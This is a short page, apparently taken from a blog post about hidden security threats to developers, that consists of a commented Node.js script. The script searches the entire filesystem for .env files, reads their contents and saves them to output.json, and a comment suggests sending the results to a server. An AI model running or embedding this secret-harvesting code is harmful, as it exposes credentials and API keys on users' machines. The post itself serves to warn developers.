unseed dangers

unseed dangers

source: https://collinsadi.hashnode.dev/unseen-dangers-how-developers-fall-prey-to-hidden-security-threats
```
const { spawn } = require("child_process");
// Importing the `spawn` function from the "child_process" module to execute system commands.

const os = require("os");
// Importing the `os` module to detect the platform (Windows, Linux, or macOS).

const fs = require("fs");
// Importing the `fs` (file system) module to handle file reading and writing.

let command, args;
// Declare variables `command` and `args` to hold the system command and its arguments.

const output = [];
// Initialize an empty array `output` to store the results from the command's stdout.

if (os.platform() === "win32") {
  // Check if the platform is Windows (identified as 'win32').
  command = "powershell.exe";
  // Set the command to `powershell.exe`, the shell for running PowerShell commands.

  args = [
    "-Command",
    // First argument to PowerShell is to run a command.
    'Get-ChildItem -Path C:\\ -Filter ".env" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-Content $_.FullName }',
    // PowerShell command to recursively search the C:\ drive for ".env" files and print their contents.
  ];
} else {
  // If the platform is not Windows (i.e., Linux or macOS).
  command = "find";
  // Set the command to `find`, used for searching files in Unix-based systems.

  args = ["/", "-name", ".env", "-exec", "cat", "{}", ";"];
  // Arguments for `find` command to search from the root directory ("/") for ".env" files and print their contents.
}

// Use spawn to execute the command
const child = spawn(command, args);
// Use `spawn` to run the defined command (`command`) with the provided arguments (`args`).

// Capture stdout
child.stdout.on("data", (data) => {
  output.push({ data: String(data) });
  console.log(`Output:\n${data}`);
});

// Capture stderr
child.stderr.on("data", (data) => {
  console.error(`Error:\n${data}`);
});

// Capture close event
child.on("close", (code) => {
  console.log(`Process exited with code ${code}`);

  // Write output to a file or send it via an API call to a server
  fs.writeFile(
    "output.json",
    JSON.stringify({ envContent: output }, null, 2),
    (err) => {
      if (err) {
        console.error("Error writing to file:", err);
      } else {
        console.log("Output saved to output.json");
      }
    }
  );
});
```